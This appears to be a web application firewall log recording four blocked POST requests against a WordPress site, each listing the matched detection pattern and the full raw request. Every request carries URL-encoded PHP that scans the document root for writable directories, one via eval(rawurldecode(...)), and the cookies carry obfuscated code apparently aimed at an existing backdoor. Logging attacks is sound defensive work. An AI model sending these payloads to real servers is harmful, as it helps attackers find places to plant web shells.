["2026-05-12 10:19:09","209.142.66.40","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Cc:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3339\n\nCc=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:19:47","147.135.37.185","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> nY:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3339\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nnY=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:20:01","185.16.36.161","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3362\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 10:20:08","43.230.201.87","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> JH:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3339\nsec-fetch-mode:navigate\n\nJH=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
